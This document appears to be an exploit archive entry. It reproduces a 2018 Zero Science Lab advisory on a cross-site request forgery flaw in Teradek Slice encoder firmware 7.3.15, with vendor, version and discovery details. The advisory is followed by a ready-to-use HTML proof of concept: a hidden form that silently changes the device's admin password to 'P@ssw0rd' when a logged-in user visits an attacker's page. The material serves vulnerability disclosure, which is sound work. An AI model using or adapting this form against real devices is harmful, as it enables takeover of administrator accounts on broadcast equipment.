Teradek Slice version 7.3.15 suffers from a password changing cross site request forgery vulnerability.
c4cc6381be728820054867a92156d4a7<!--
Teradek Slice 7.3.15 CSRF Change Password Exploit
Vendor: Teradek, LLC
Product web page: https://www.teradek.com
Affected version: Firmware Version: 7.3.15 (build 31735)
Hardware Version: 2.1
Summary: Built on the award-winning Cube platform, Slice is a rack mount
HEVC / H.264 codec designed to fit seamlessly into your broadcast studio.
Like the Cube, Slice encoders and decoders includes 3G-SDI and HDMI I/O,
Ethernet and WiFi connectivity, and full duplex IFB.
Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.
Tested on: lighttpd/1.4.48
lighttpd/1.4.31
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5467
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5467.php
02.03.2018
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<html>
<body>
<form action="http://127.0.0.1:8090/cgi-bin/password.cgi">
<input type="hidden" name="pw1" value="P@ssw0rd" />
<input type="hidden" name="pw2" value="P@ssw0rd" />
<input type="hidden" name="user" value="admin" />
<input type="submit" value="Initiate" />
</form>
</body>
</html>